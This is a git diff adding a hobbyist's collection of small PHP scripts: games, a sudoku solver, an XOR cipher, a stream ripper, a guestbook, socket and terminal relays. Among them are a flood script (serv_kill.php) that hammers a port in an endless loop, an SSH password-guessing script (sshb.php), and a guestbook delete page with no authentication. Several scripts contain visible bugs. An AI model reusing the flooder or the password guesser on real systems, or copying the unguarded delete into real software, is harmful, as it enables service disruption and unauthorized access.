+  rada_unique("rada");\r
+  \r
+  $notfound = 0;\r
+  for($i=$start;$i<=$stop;$i++) {\r
+    $istr = add_zeroes($i, $places);\r
+    if(!eregi($istr, $rada)) {\r
+      $notfound++;\r
+      //echo("Not found: $i\n");\r
+      $next = true;\r
+    }\r
+  }\r
+  \r
+  echo("Total not found: $notfound\n"); //Debug\r
+  \r
+  if($try > 0) {\r
+    if($notfound <= $minnotfound || !isset($minnotfound)) {\r
+      echo("-minnf: $notfound\n"); //Debug\r
+      $minnotfound = $notfound;\r
+      $try = $tryes;\r
+    } else {\r
+      $try--;\r
+    }\r
+  } else {\r
+    if($notfound <= $minnotfound || $notfound == 0) $next = false;\r
+  }\r
+  \r
+} //MAIN LOOP\r
+\r
+for($i=$start;$i<=$stop;$i++) { //Pridame vsechna zbyla n-cisli\r
+    $istr = add_zeroes($i, $places);\r
+    rada_add("rada", $istr);\r
+  }\r
+\r
+/////////OUTPUT///////////////////////////////////\r
+echo("\n");\r
+echo("Length: ".strlen($rada)." chars\n");\r
+echo("Total not found: $notfound\n");\r
+echo($rada);\r
+echo("\n\n");\r
diff --git a/php/skripty/serv_kill.php b/php/skripty/serv_kill.php
new file mode 100644 (file)
index 0000000..1fc76a6
--- /dev/null
@@ -0,0 +1,17 @@
+<?php\r
+\r
+echo("go go go!");\r
+\r
+while(1) {\r
+  \r
+  $fp = fsockopen ("localhost", 8080, &$errno, &$errstr, .2);\r
+  socket_set_timeout( $fp, 0, 1 );\r
+  $err = 0;\r
+  while($err == 0) {\r
+    if ( !fwrite($fp, "KILLKILLKILLKILLKILLKILLKILLKILLKILLKILLKILLKILLKILLKILLKILLKILLKILLKILL") ) //GET / HTTP/1.1\r\n\r\n\r
+      { $err = 1; }\r
+  }\r
+  fclose($fp);\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/service_checker.php b/php/skripty/service_checker.php
new file mode 100644 (file)
index 0000000..1dd69f1
--- /dev/null
@@ -0,0 +1,19 @@
+<html>\r
+<h1>TCP Service Checker</h1>\r
+<form>\r
+   Host: <input type="text" name="host"><br />\r
+   Port: <input type="text" name="port"><br />\r
+   Timeout: <input type="text" name="timeout" value="3"><br />\r
+</form>\r
+\r
+<pre><?php\r
+\r
+@$fp = fsockopen ("127.0.0.1", 80, &$errno, &$errstr, 5);\r
+   if (!$fp)\r
+   { echo "<font color=\"#FF0000\"> UNRECHEABLE <br> ".$errno." - ".$errstr."</font>"; }\r
+   else\r
+   { echo "<font color=\"#00FF00\"> RECHEABLE </font>"; }\r
+\r
+?></pre>\r
+\r
+</html>\r
diff --git a/php/skripty/sinus_curve.php b/php/skripty/sinus_curve.php
new file mode 100644 (file)
index 0000000..181ab85
--- /dev/null
@@ -0,0 +1,55 @@
+<?php\r
+//This will draw the ASCII neverending sinus curve.\r
+//Writen by (c) Harvie in 2oo6\r
+//This is script for PHP CLI (Not WebPage).\r
+//You can port it to web by replacing "/n" by "<br>/n"\r
+\r
+//Settings:\r
+$start = 0;     //0 //First X\r
+$step = 0.1;    //0.1 //Increase X on every line by this number\r
+$reset = (2*PI()); //When X >= reset, then it will be reseted to zero\r
+$zoom = 1;      //1 //This will repeat every line few times\r
+$offset = 1.1;    //1.1 //1 //0 -> Zero offset will draw only half of sin curve.\r
+$width = 35;     //20 //35 //40 //This will stretch every line.\r
+$sleep = "15000";   //15000 - Wait between lines in microseconds\r
+$line = (" ");     // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay).\r
+$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline).\r
+\r
+//Code:\r
+echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n");\r
+echo ("0|                                           y\n");\r
+echo ("-|--------------------------------------------->\n");\r
+echo ("x|\n");\r
+echo (" V\n\n");\r
+\r
+sleep(2);\r
+\r
+$pos = $start;\r
+while(1) {\r
+\r
+  usleep($sleep); //Wait in microseconds\r
+  \r
+  $znaku = ((sin($pos) + $offset) * $width);\r
+  \r
+  $zoom2 = $zoom;\r
+  while ($zoom2 > 0) {\r
+  \r
+    $znaku2 = round($znaku); //It looks better after round ;)\r
+    while ($znaku2 > 0) {\r
+      echo $line;\r
+      $znaku2 = ($znaku2 - 1);\r
+    }\r
+    //echo(" ".$pos." "); //Debug\r
+    echo ($endline);\r
+    \r
+    $zoom2 = ($zoom2 - 1);\r
+  }\r
+  \r
+  //echo(" ".$pos." "); //Debug\r
+  $pos = ($pos + $step);\r
+  if ($pos >= $reset) {\r
+    $pos = 0;\r
+  }\r
+\r
+}\r
+?>\r
diff --git a/php/skripty/stdin_socket.php b/php/skripty/stdin_socket.php
new file mode 100644 (file)
index 0000000..547bd07
--- /dev/null
@@ -0,0 +1,22 @@
+<?php\r
+\r
+$sfp = fsockopen ("127.0.0.1", 24, &$errno, &$errstr, 5);\r
+$ifp = fopen ("php://stdin", "r");\r
+\r
+/*\r
+while(1) {\r
+echo(ord(fgetc($ifp)));\r
+}\r
+*/\r
+\r
+while($sfp) {\r
+  if (!feof($sfp)) { \r
+    echo (fgetc($sfp));\r
+  }\r
+\r
+  if (!feof($ifp)) { \r
+    fwrite ($sfp, fgetc($ifp));\r
+  }\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/sudoku_web.php b/php/skripty/sudoku_web.php
new file mode 100644 (file)
index 0000000..0315b1d
--- /dev/null
@@ -0,0 +1,145 @@
+<form action="?" method="POST">\r
+<textarea rows="9" cols="9" name="sudokupost">43 6 5 89\r
+56     23\r
+   2 3   \r
+7 5 6 9 4\r
+   9 1   \r
+2 9 7 5 1\r
+   4 8   \r
+32     56\r
+89 5 6 12</textarea>\r
+<br /><input type="submit" value="Vyresit">\r
+</form>\r
+\r
+<?php\r
+//Sudoku\r
+\r
+//\r
+function sudoku_print ($sudo) {\r
+  $sudo = str_replace(" ", ".", implode("\n", $sudo) );\r
+  $sudo = explode("\n", $sudo);\r
+  print_r($sudo);\r
+}\r
+\r
+//X line\r
+//Y row\r
+\r
+//\r
+function sudoku_pos ($sudo, $x, $y) {\r
+  return($sudo[$x-1][$y-1]);\r
+}\r
+//\r
+function sudoku_row ($sudo, $y) {\r
+  $row = "";\r
+  foreach ($sudo as $line) {\r
+    $row = ($row.$line[$y-1]);\r
+  }\r
+  return $row;\r
+}\r
+//\r
+function sudoku_line ($sudo, $x) {\r
+  return $sudo[$x-1];\r
+}\r
+//\r
+function sudoku_square ($sudo, $x, $y) {\r
+  if ( $x == 1 || $x == 2 || $x == 3 ) { $x = 1; }\r
+  if ( $x == 4 || $x == 5 || $x == 6 ) { $x = 4; }\r
+  if ( $x == 7 || $x == 8 || $x == 9 ) { $x = 7; }\r
+  if ( $y == 1 || $y == 2 || $y == 3 ) { $y = 1; }\r
+  if ( $y == 4 || $y == 5 || $y == 6 ) { $y = 4; }\r
+  if ( $y == 7 || $y == 8 || $y == 9 ) { $y = 7; }\r
+  //echo("\n$x\n$y\n");\r
+  $square = "";\r
+  $x--;\r
+  $y--;\r
+  $y0 = $y;\r
+  \r
+  $i2 = 0;\r
+  while( $i2 < 3 ){\r
+    $i1 = 0;\r
+    $y = $y0;\r
+    while ( $i1 < 3 ){\r
+      $square = $square.$sudo[$x][$y];\r
+      $y++;\r
+      $i1++;\r
+      //echo("\n$x-$y");\r
+    }\r
+    $i2++;\r
+    $x++;\r
+  }\r
+  //echo("\n".$square);\r
+  return ($square);\r
+}\r
+\r
+//\r
+function sudoku_candidates ($sudo, $x, $y) {\r
+  $cands = "123456789";\r
+  $donenums = ( sudoku_line($sudo, $x).sudoku_row($sudo, $y).sudoku_square($sudo, $x, $y) );\r
+  //echo $donenums;\r
+  //echo "\n\n";\r
+  //foreach ( $donenums as $del ) {\r
+  $indx = strlen($donenums)-1;\r
+  while ($indx >= 0) {\r
+    $del = $donenums[$indx];\r
+    //echo("!".$del);\r
+    $cands = str_replace($del, "", $cands);\r
+    $indx--;\r
+  }\r
+  //echo "\n\n".$cands;\r
+  return $cands;\r
+}\r
+\r
+//\r
+function sudoku_compute($sudoku) {\r
+\r
+  $sudoku_old = "";\r
+  while( $sudoku_old != $sudoku ) {\r
+    $sudoku_old = $sudoku;\r
+\r
+    $is = sizeof($sudoku)-1;\r
+    while ($is >= 0) {\r
+      $line = $sudoku[$is];\r
+  \r
+      $i = strlen($line)-1;\r
+      while ($i >= 0) {\r
+        //echo($line[$i]);\r
+    \r
+        $cands = sudoku_candidates ( $sudoku, ($is+1), ($i+1) );\r
+        if ( strlen($cands) == 1 && !is_numeric($sudoku[$is][$i]) ) {\r
+          $sudoku[$is][$i] = $cands;\r
+        }\r
+    \r
+        $i--;\r
+      }\r
+      //echo("\n");\r
+  \r
+      $is--;\r
+    }\r
+  }\r
+  return($sudoku);\r
+}\r
+\r
+///CODE///////////////////////////////////////////\r
+/*\r
+$sudoku = array(\r
+  "43 6 5 89",\r
+  "56     23",\r
+  "   2 3   ",\r
+  "7 5 6 9 4",\r
+  "   9 1   ",\r
+  "2 9 7 5 1",\r
+  "   4 8   ",\r
+  "32     56",\r
+  "89 5 6 12"\r
+  );\r
+*/\r
+\r
+sudoku = explode ("\n",$_POST["sudokupost"]);\r
+\r
+\r
+echo("Zadani:\n");\r
+sudoku_print($sudoku);\r
+echo("\nVysledek:\n");\r
+sudoku_print(sudoku_compute($sudoku));\r
+\r
+?>\r
diff --git a/php/skripty/terminal_client.php b/php/skripty/terminal_client.php
new file mode 100644 (file)
index 0000000..547bd07
--- /dev/null
@@ -0,0 +1,22 @@
+<?php\r
+\r
+$sfp = fsockopen ("127.0.0.1", 24, &$errno, &$errstr, 5);\r
+$ifp = fopen ("php://stdin", "r");\r
+\r
+/*\r
+while(1) {\r
+echo(ord(fgetc($ifp)));\r
+}\r
+*/\r
+\r
+while($sfp) {\r
+  if (!feof($sfp)) { \r
+    echo (fgetc($sfp));\r
+  }\r
+\r
+  if (!feof($ifp)) { \r
+    fwrite ($sfp, fgetc($ifp));\r
+  }\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/terminal_connect.php b/php/skripty/terminal_connect.php
new file mode 100644 (file)
index 0000000..4857e9c
--- /dev/null
@@ -0,0 +1,11 @@
+<?php\r
+\r
+$pfp = popen ("cmd.exe", "rw");\r
+$ifp = fopen ("php://stdin", "r");\r
+\r
+while($pfp) {\r
+  echo (fgetc($pfp));\r
+  if (feof($ifp)) { fwrite ($pfp, fgetc($ifp)); }\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/terminal_server.php b/php/skripty/terminal_server.php
new file mode 100644 (file)
index 0000000..5314410
--- /dev/null
@@ -0,0 +1,21 @@
+<?php\r
+\r
+$sss = stream_socket_server("tcp://127.0.0.1:81"); echo("A");\r
+$sfp = stream_socket_accept($sss); echo("B");\r
+\r
+while($sfp) {\r
+\r
+  if (!feof($pfp)) {\r
+    fwrite ($sfp, fgetc($pfp));\r
+  }\r
+  \r
+  $char = fgets($sfp, 1000);\r
+  if ($char != FALSE) {\r
+    fwrite ($pfp, $char);\r
+  }\r
+  \r
+}\r
+\r
+echo("C");\r
+\r
+?>\r
diff --git a/php/skripty/tictactoe.php b/php/skripty/tictactoe.php
new file mode 100644 (file)
index 0000000..f9e8946
--- /dev/null
@@ -0,0 +1,111 @@
+<?php\r
+//Tic-Tac-Toe\r
+//<- Harvie 2oo7\r
+/*\r
+Inspired by WarGames ;D\r
+*/\r
+\r
+echo("Tic-Tac-Toe (<- Harvie 2oo7)\n");\r
+echo("Inspired by WarGames ;D\n");\r
+\r
+//Settings////////////////////////////////////////////////////////\r
+  //Skin:\r
+    $cross = "X";\r
+    $circl = "O";\r
+    $versep = "|";\r
+    $horsep = "-";\r
+    $ttt = " 123456789";\r
+  //First player:\r
+    $p = false; //false - O; true - X;\r
+  //Artificial inteligency:\r
+    $ai = 3; /* AI (very poor == rand(1,9) ;)\r
+    Settings:\r
+    0 - Circle\r
+    1 - Cross\r
+    2 - Disabled\r
+    3 - PCvsPC\r
+    */\r
+\r
+//Functions//////////////////////////////////////////////////////\r
+//\r
+function ttt_print($ttt) {\r
+  $v = $GLOBALS["versep"];\r
+  $h = $GLOBALS["horsep"];\r
+\r
+  echo("\n");\r
+  echo($ttt[7].$v.$ttt[8].$v.$ttt[9]."\n");\r
+  echo("$h$h$h$h$h\n");\r
+  echo($ttt[4].$v.$ttt[5].$v.$ttt[6]."\n");\r
+  echo("$h$h$h$h$h\n");\r
+  echo($ttt[1].$v.$ttt[2].$v.$ttt[3]."\n");\r
+  echo("\n");\r
+}\r
+\r
+//\r
+function ttt_match($ttt, $place, $player) {\r
+  $x = $GLOBALS["cross"];\r
+  $o = $GLOBALS["circl"];\r
+  \r
+  if( ($place>0 && $place<10) && ($ttt[$place] != $x && $ttt[$place] != $o) &&  is_numeric($place) ) {\r
+    $ttt[$place] = $player;\r
+  } else { $GLOBALS["err"] = true; }\r
+  return $ttt;\r
+}\r
+\r
+//\r
+function ttt_check($ttt) {\r
+  $x = $GLOBALS["cross"];\r
+  $o = $GLOBALS["circl"];\r
+  //Horizontal\r
+  if( $ttt[7] == $ttt[8] && $ttt[8] == $ttt[9] ) { return 1; }\r
+  if( $ttt[4] == $ttt[5] && $ttt[5] == $ttt[6] ) { return 1; }\r
+  if( $ttt[1] == $ttt[2] && $ttt[2] == $ttt[3] ) { return 1; }\r
+  //Vertical\r
+  if( $ttt[7] == $ttt[4] && $ttt[4] == $ttt[1] ) { return 1; }\r
+  if( $ttt[8] == $ttt[5] && $ttt[5] == $ttt[2] ) { return 1; }\r
+  if( $ttt[9] == $ttt[6] && $ttt[6] == $ttt[3] ) { return 1; }\r
+  //Diagonal\r
+  if( $ttt[7] == $ttt[5] && $ttt[5] == $ttt[3] ) { return 1; }\r
+  if( $ttt[1] == $ttt[5] && $ttt[5] == $ttt[9] ) { return 1; }\r
+  //Nobody won\r
+  for($i=1;$i<strlen($ttt);$i++) {\r
+    if($ttt[$i] != $x && $ttt[$i] != $o) { return 0; }\r
+  }\r
+  return -1;\r
+}\r
+\r
+//Code///////////////////////////////////////////////////////////\r
+\r
+//Init///////////////////////////////////////////////////////////\r
+$__STDIN__ = fopen("php://stdin", "rb");\r
+$err = false;\r
+$time = @explode(",", trim(@shell_exec("echo %time%"))); @srand(time()*$time[1]); //print_r($time); //Debug\r
+\r
+//Go/////////////////////////////////////////////////////////////\r
+ttt_print($ttt);\r
+while(1) {\r
+  if($p) { $player = $cross; } else { $player = $circl; }\r
+  \r
+  echo("$player:");\r
+  \r
+  if( ($p == $ai || $ai == 3) && $ai != 2 ) {\r
+    $c = rand(1,9);\r
+    echo($c);\r
+  } else {\r
+    $c = "nan";\r
+    while( !is_numeric($c) ) { $c = fgetc($__STDIN__); }\r
+    //echo($c); //Debug    \r
+  }\r
+  \r
+  $ttt = ttt_match($ttt, $c, $player); if($err) { $err = false; echo("-"); continue; }\r
+  elseif( ($p == $ai || $ai == 3) && $ai != 2 ) { echo("\n"); }\r
+  \r
+  ttt_print($ttt);\r
+  \r
+  if(ttt_check($ttt) == -1) { echo("!!! Nobody won !!!\n"); break; }\r
+  if(ttt_check($ttt)) { echo("!!! Player $player won !!!\n"); break; }\r
+\r
+  $p = !$p;\r
+}\r
+\r
+//system("pause");\r
diff --git a/php/skripty/wmvbot.php b/php/skripty/wmvbot.php
new file mode 100644 (file)
index 0000000..a6e706e
--- /dev/null
@@ -0,0 +1,78 @@
+<?php\r
+//Jyxo seek\r
+//<-Harvie (2oo7)\r
+\r
+function url_bot($url) {\r
+  $file = file($url);\r
+  $file = implode("\n", $file);\r
+  $file = spliti("http://", $file);\r
+  //print_r($file);\r
+  $urls[-1] = "";\r
+  $i = 0;\r
+  foreach($file as $url) {\r
+    $url = split(">| ", $url);\r
+    //print_r($url);\r
+    $url = $url[0];\r
+    if(eregi(".com", $url)) {\r
+      $urls[$i] = "http://".$url;\r
+      $i++;\r
+    }\r
+  }\r
+  //print_r($urls);\r
+  return($urls);\r
+}\r
+\r
+function wmv_bot($url, $ext) {\r
+  foreach(url_bot($url) as $url) {\r
+    $file = file($url);\r
+    $file[-1] = "";\r
+  $file = implode("\n", $file);\r
+  $file = spliti("http://", $file);\r
+  //print_r($file);\r
+  $urlz[-1] = "";\r
+  $i = 0;\r
+  foreach($file as $url) {\r
+    $url = explode(">", $url);\r
+    $url = $url[0];\r
+    if(eregi(".com", $url) && eregi($ext, $url) && !eregi(" |\"", $url)) {\r
+      $urlz[$i] = "http://".$url;\r
+      $i++;\r
+    }\r
+  }\r
+  print_r($urlz);\r
+  }\r
+  return($urlz);\r
+}\r
+\r
+//\r
+function download_url_array($results, $download_dir) {\r
+  //$download_dir = $GLOBALS["download_dir"];\r
+  $fails = 0; $done = 0;\r
+  echo("\nDownloading to $download_dir ...\n");\r
+  if(!is_dir($download_dir)) {\r
+    echo("Creating directory: $download_dir\n\n");\r
+    mkdir($download_dir);\r
+  } else { echo("\n"); }\r
+  foreach($results as $id => $url) {\r
+    $file = url2filename($url);\r
+    echo("Downloading $file (#$id)... ");\r
+    $file = "$download_dir\\$file";\r
+    if(!is_file($file) && @copy($url, $file)) {\r
+      echo("Done.\n");\r
+      $done++;\r
+    } else {\r
+      if(is_file($file)) { echo("File already exists "); }\r
+      echo("Failed!\n");\r
+      $fails++;\r
+    }\r
+  }\r
+  $totaldls = ($fails+$done);\r
+  echo("\n$done/$totaldls files successfully downloaded to $download_dir ($fails failed)\n");\r
+}\r
+\r
+///CODE//////////////////////////////////////////////////////////////////////////////////////\r
+$results = wmv_bot("http://www.loliti.com/cz/m/bonde19e_s_vodou_0.php", ".wmv");\r
+print_r($results);\r
+//download_url_array($results, "X:\\wmvBot"); //Automatic Download\r
+\r
+?>\r
diff --git a/php/skripty/xor_8bits.php b/php/skripty/xor_8bits.php
new file mode 100644 (file)
index 0000000..d99ae1f
--- /dev/null
@@ -0,0 +1,16 @@
+<?php\r
+\r
+function xor_bytes ($bina, $binb) {\r
+  $bin = "";\r
+  $x = 8;\r
+  while($x) {\r
+    if ($bina[$x-1] XOR $binb[$x-1])\r
+      { $bin = ( 1 . $bin ); } else { $bin = ( 0 . $bin ); }\r
+    $x--;\r
+  }\r
+  return $bin;\r
+}\r
+\r
+echo xor_bytes("10110000","10010000");\r
+\r
+?>\r
diff --git a/php/skripty/xor_enc.php b/php/skripty/xor_enc.php
new file mode 100644 (file)
index 0000000..f7cc160
--- /dev/null
@@ -0,0 +1,84 @@
+<?php\r
+\r
+function bin_trim ($bin) {\r
+\r
+  $x = (8 - strlen($bin));\r
+  $y = "";\r
+  while($x) {\r
+   $y = ($y."0");\r
+   $x--;\r
+  }\r
+  return($y.$bin);\r
+  \r
+}\r
+\r
+function xor_bytes ($bina, $binb) {\r
+  $bin = "";\r
+  $x = 8;\r
+  while($x) {\r
+    if ($bina[$x-1] XOR $binb[$x-1])\r
+      { $bin = ( 1 . $bin ); } else { $bin = ( 0 . $bin ); }\r
+    $x--;\r
+  }\r
+  return $bin;\r
+}\r
+\r
+//CODE/////////////////////////////////////////////////////\r
+\r
+$message = "POKUS CISLO JEDNA DVA TRI";\r
+$message = ")-#&O&$6(.:E/-:H&#&*H--$.";\r
+$message = "message MESSAGE toto je pokus 545446653\9aèøèø\9eøýá ahoj";\r
+//$message = "%-\e\14) -g&\ 2\11\10\12\ 23N\1f%\1d\15Z\8b\98\17F\97\83\9d\8eÍÜ\ 4\fÝA×CÔI{¼ªÝÌÛ̸Õe\e\89\15\93";\r
+$message = implode("", file("cypher.txt"));\r
+$code = "HHhgHGHGkGBCSEvnkJizzáý76øèèýíé09éuáuázáTR54E4E4Ezázùdlmkdsfh-";\r
+\r
+//print "Pocet parametru: " . $argc . "\n";\r
+//foreach($argv as $param)\r
+//    print $param . "\n";\r
+\r
+//if($argc != 3) { die("Usage: xor.php secretcode in.txt > out.txt\n"); }\r
+\r
+//echo($argv[0]."\n");\r
+//$code = $argv[1];\r
+//$message = implode("", file($argv[2]));\r
+$message = "&.(\fh\1c(-fKH-)!F\ 5\r
+g%«ÍH$\ 6,7\r
+Y";\r
+$code = "gfgFHJghGjhghjfVHGhjGhjGvvXfgdTGfHgHfgFhfVBGcftDtFzdfdgfgf6ztFzF";\r
+\r
+\r
+\r
+//Message to bin array:\r
+$i = 0;\r
+$message_bin = "";\r
+while($i < strlen($message)) {\r
+  $message_bin = ($message_bin . bin_trim(base_convert(ord($message[$i]),10,2)). "\n " );\r
+  $i++;\r
+}\r
+//echo ($message_bin."\n\n"); //Debug\r
+\r
+$message_bin = explode(" ",$message_bin);\r
+\r
+//Encode:\r
+$i = 0;\r
+$y = 0;\r
+while ($i < strlen($message)) {\r
+\r
+  $char = $message_bin[$i];\r
+  $cchar = bin_trim( base_convert( ord($code[$y]), 10, 2) );\r
+  \r
+  //echo($code[$y]); //Debug\r
+  //echo($cchar."\n"); //Debug\r
+  //echo($char); //Debug\r
+  \r
+  $message[$i] = chr( base_convert(xor_bytes($char, $cchar),2,10 ));\r
+  \r
+  $y++;\r
+  if ($y >= strlen($code)) { $y = 0; }\r
+  $i++;\r
+  \r
+}\r
+\r
+echo($message);\r
+\r
+?>\r
diff --git a/php/sshb.php b/php/sshb.php
new file mode 100644 (file)
index 0000000..fb27d6f
--- /dev/null
@@ -0,0 +1,17 @@
+#!/usr/bin/php
+<?php
+
+$user = 'harvie';
+$host = 'harvie.ath.cx';
+$port = 22;
+
+$stdin = fopen('php://stdin', 'r');
+while(!feof($stdin)) {
+       $pass = trim(fgets($stdin));
+       $ssh = ssh2_connect($host, $port);
+       if (ssh2_auth_password($connection, $user, $pass)) {
+               echo("Authentication Successful: $pass\n");
+       } else {
+               die("Authentication Failed...\n");
+       }
+}
\ No newline at end of file
diff --git a/php/streamrip b/php/streamrip
new file mode 100755 (executable)
index 0000000..df2f68a
--- /dev/null
@@ -0,0 +1,62 @@
+#!/usr/bin/php
+<?php
+//StreamRipper
+//Harvie 2007
+/*
+This can rip many types of streams simply by downloading them to file.
+(MP3,OGG,MPEG,AVI,WMA,WMV,etc..)
+*/
+
+///CODE///////////////////////////////////////////////////////////
+///Implicit values
+$len = 1000; //Block size
+//$out = "broadcast.mp3";
+
+///Args
+if(!isset($argc)) die('This is php-cli script you idiot!');
+if($argc < 2) die("Usage: streamrip stream_url [output file] [block_size]\n");
+if($argc > 1) $in = $argv[1];
+$out = explode('/', $in); $out = trim($out[sizeof($out)-1]);
+if($argc > 2) $out = $argv[2];
+if($argc > 3) $len = $argv[3];
+
+$i=1;
+while(is_file($out)) {
+       $sout = $i.'-'.$out;
+       if(!is_file($sout)) $out = $sout;
+       $i++;
+}
+
+//Banner
+echo("Rippin' da stream $in...\nSaving to $out\nc-C to stop\n\n");
+
+//Init
+$total = @(filesize($in));
+$in = fopen($in, 'rb');
+$out = fopen($out, 'wb');
+$b = 0;
+$sp = 'N/A';
+$perc = 'N/A';
+$st = time();
+
+while(!feof($in) && !feof($out)) {
+       //Info
+       $t = time()-$st;
+       $s=$t%60;
+       $m=floor($t/60);
+       $kb=floor($b/1000);
+       $mb=floor($b/1000000);
+       if($s!=0) $sp = round($kb/$s, 2);
+       if(is_int($total)) $perc = ceil($b/$total*100);
+       echo("$mb MB = $kb KB == $m:$s Mins == $perc% == $sp kB/s (avg.)              \r");
+       
+       //Download
+       $data = fgets($in,$len);
+       fputs($out,$data);
+       $b = $b+strlen($data);
+       }
+echo("\n");
+
+//Fclose all
+fclose($in);
+fclose($out);
diff --git a/php/stredni-php/data.txt b/php/stredni-php/data.txt
new file mode 100755 (executable)
index 0000000..217d87e
--- /dev/null
@@ -0,0 +1 @@
+000000000000001111asdasdafsdfsdfmoje heslosdfsdfsdsdfsdfì\9aýáíéfafdfafsdasfdasfads
\ No newline at end of file
diff --git a/php/stredni-php/delete.php b/php/stredni-php/delete.php
new file mode 100755 (executable)
index 0000000..9466aa8
--- /dev/null
@@ -0,0 +1,8 @@
+<?php\r
+\r
+$fp = FOpen ("gbook.txt", "w");\r
+FWrite ($fp, "");\r
+FClose ($fp);\r
+echo "Soubor gbook.txt byl vyprazdnen.";\r
+\r
+?>\r
diff --git a/php/stredni-php/gbook.txt b/php/stredni-php/gbook.txt
new file mode 100755 (executable)
index 0000000..5f28270
--- /dev/null
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/php/stredni-php/gbook2.php b/php/stredni-php/gbook2.php
new file mode 100755 (executable)
index 0000000..339a8bd
--- /dev/null
@@ -0,0 +1,225 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">\r
+\r
+<html>\r
+<head>\r
+<meta http-equiv="content-type" content="text/html"; charset="utf-8">\r
+<title>Kniha Návštěv - (c) 2oo6 - Harvie</title>\r
+<meta http-equiv="cache-control" content="no-cache" />\r
+\r
+<style>\r
+\r
+body {\r
+       background-color: skyblue;\r
+       text-align: left;\r
+       padding: 4px 10% 4px 10%;\r
+       font-family: Tahoma;\r
+       color: black;\r
+       font-size: small;\r
+       }\r
+\r
+.form {\r
+       width: 80%;\r
+       background-color: lightblue;\r
+       border: 2px;\r
+       border-style: solid;\r
+       padding: 10px;\r
+       margin: 4px 10% 4px 10%;\r
+       }\r
+       \r
+.form input, textarea {\r
+       border: 1px;\r
+       border-style: solid;\r
+       border-color: black;\r
+       width: 100%\r
+       }\r
+       \r
+.prispevek {\r
+       width: 80%;\r
+       background-color: lightblue;\r
+       border: 2px;\r
+       border-style: solid;\r
+       padding: 10px;\r
+       margin: 4px 10% 4px 10%;\r
+       }\r
+       \r
+.prispevek .nadpis {\r
+       padding: 2px;\r
+       font-weight: bold;\r
+       text-decoration: none;\r
+       color: black;\r
+       font-size: small;\r
+       border: solid skyblue 2px;\r
+       border-bottom: none;\r
+       _font-size: x-small;\r
+       }\r
+       \r
+.prispevek .jmeno {\r
+       padding: 2px;\r
+       font-weight: bold;\r
+       font-style: italic;\r
+       text-decoration: none;\r
+       color: darkblue;\r
+       font-size: small;\r
+       border: solid skyblue 2px;\r
+       border-bottom: none;\r
+       border-top: none;\r
+       _font-size: x-small;\r
+       }\r
+       \r
+       .prispevek .datum {\r
+       padding: 2px;\r
+       text-decoration: none;\r
+       color: darkred;\r
+       border: solid skyblue 2px;\r
+       border-top: none;\r
+       font-size: x-small;\r
+       }\r
+       \r
+.prispevek .text {\r
+       padding: 2px;\r
+       font-size: small;\r
+       border: dotted skyblue 2px;\r
+       background-color: skyblue;\r
+       overflow: hidden;\r
+       _font-size: x-small;\r
+       }\r
+\r
+</style>\r
+\r
+</head>\r
+\r
+<body>\r
+\r
+<div class="form">\r
+<form action="" method="post">\r
+               <h2>Kniha návštěv</h2>\r
+\r
+               <p>\r
+                       <label for="title"><b>Nadpis:</b><br /></label>\r
+                       <input type="text" name="title" value="" />\r
+               </p>\r
+\r
+               <p>\r
+                       <label for="name"><b>Jméno:</b><br /></label>\r
+                       <input type="text" name="name" value="" />\r
+               </p>\r
+\r
+               <p>\r
+                       <label for="contact"><b>Kontakt:</b><br /></label>\r
+                       <input type="text" name="contact" value="EMAIL:      ICQ:      WWW:      TEL/FAX:    " />\r
+               </p>\r
+\r
+               <p>\r
+                       <b>Text příspěvku:</b><br />\r
+                       <textarea rows="10" cols="30" name="text" title="podporované tagy: [b][/b] [i][/i] [u][/u] - Příliš dlouhá slova budou zkrácena."></textarea>\r
+               </p>\r
+\r
+               <p>\r
+                       <label for="sprot"><b title="Brání knihu proti náhodnému napadení spamboty.">Ochrana proti spamu:</b> <font title="sedm - numericky">[(4)+(3)]=</label>\r
+                       <input type="text" name="sprot" value="" />\r
+               </p>\r
+               \r
+               <input type="hidden" name="sent" value="true" />\r
+\r
+               <p>\r
+                       <input type="submit" value="Uložit příspěvek" />\r
+               </p>\r
+               \r
+       </form>\r
+\r
+       <form action="delete.php">\r
+       <input type="submit" value="Smazat knihu">\r
+       </form>\r
+\r
+<?php\r
+\r
+if (($_POST["title"]!='') && ($_POST["name"]!='') && ($_POST["text"]!='') && ($_POST["sprot"]=='7')):\r
+\r
+       //Načtení z POSTu; Převedení tagů na entity; Ořezání bílých znaků na začátku a konci;\r
+\r
+       $title = $_POST["title"];\r
+       $title = HTMLSpecialChars($title);\r
+       $title = trim($title);\r
+\r
+       $name = $_POST["name"];\r
+       $name = HTMLSpecialChars($name);\r
+       $name = trim($name);\r
+\r
+       $contact = $_POST["contact"];\r
+       $contact = HTMLSpecialChars($contatc);\r
+       $contatct = trim($contact);\r
+\r
+               //Parsování tagů v hlavním textu zprávy\r
+       $text = $_POST["text"];\r
+       $text = HTMLSpecialChars($text);\r
+\r
+               //Definice vlastních tagů\r
+               /*\r
+                       [b]ahoj[/b]\r
+                       [i]ahoj[/i]\r
+                       [u]ahoj[/u]\r
+                       [tt]ahoj[/tt]\r
+                       [pre]ahoj[/pre]\r
+               */\r
+\r
+               $text = str_replace("[b]","<b>", $text);\r
+               $text = str_replace("[/b]","</b>", $text);\r
+\r
+               $text = str_replace("[i]","<i>", $text);\r
+               $text = str_replace("[/i]","</i>", $text);\r
+\r
+               $text = str_replace("[u]","<u>", $text);\r
+               $text = str_replace("[/u]","</u>", $text);\r
+\r
+               $text = str_replace("[tt]","<tt>", $text);\r
+               $text = str_replace("[/tt]","</tt>", $text);\r
+\r
+               $text = str_replace("[pre]","<pre>", $text);\r
+               $text = str_replace("[/pre]","</pre>", $text);\r
+\r
+$text = nl2br($text);\r
+\r
+       //Zjištění data a času\r
+       //SetLocale("LC_ALL", "Czech"); //Nastavení českého prostředí\r
+       $datum = Date("j/m/Y H:i:s", Time());\r
+\r
+       //Otevření souboru\r
+       $fp = FOpen ("gbook.txt", "a+");\r
+\r
+       //Zápis dat do souboru\r
+       FWrite ($fp, "<div class=\"prispevek\">\n");\r
+\r
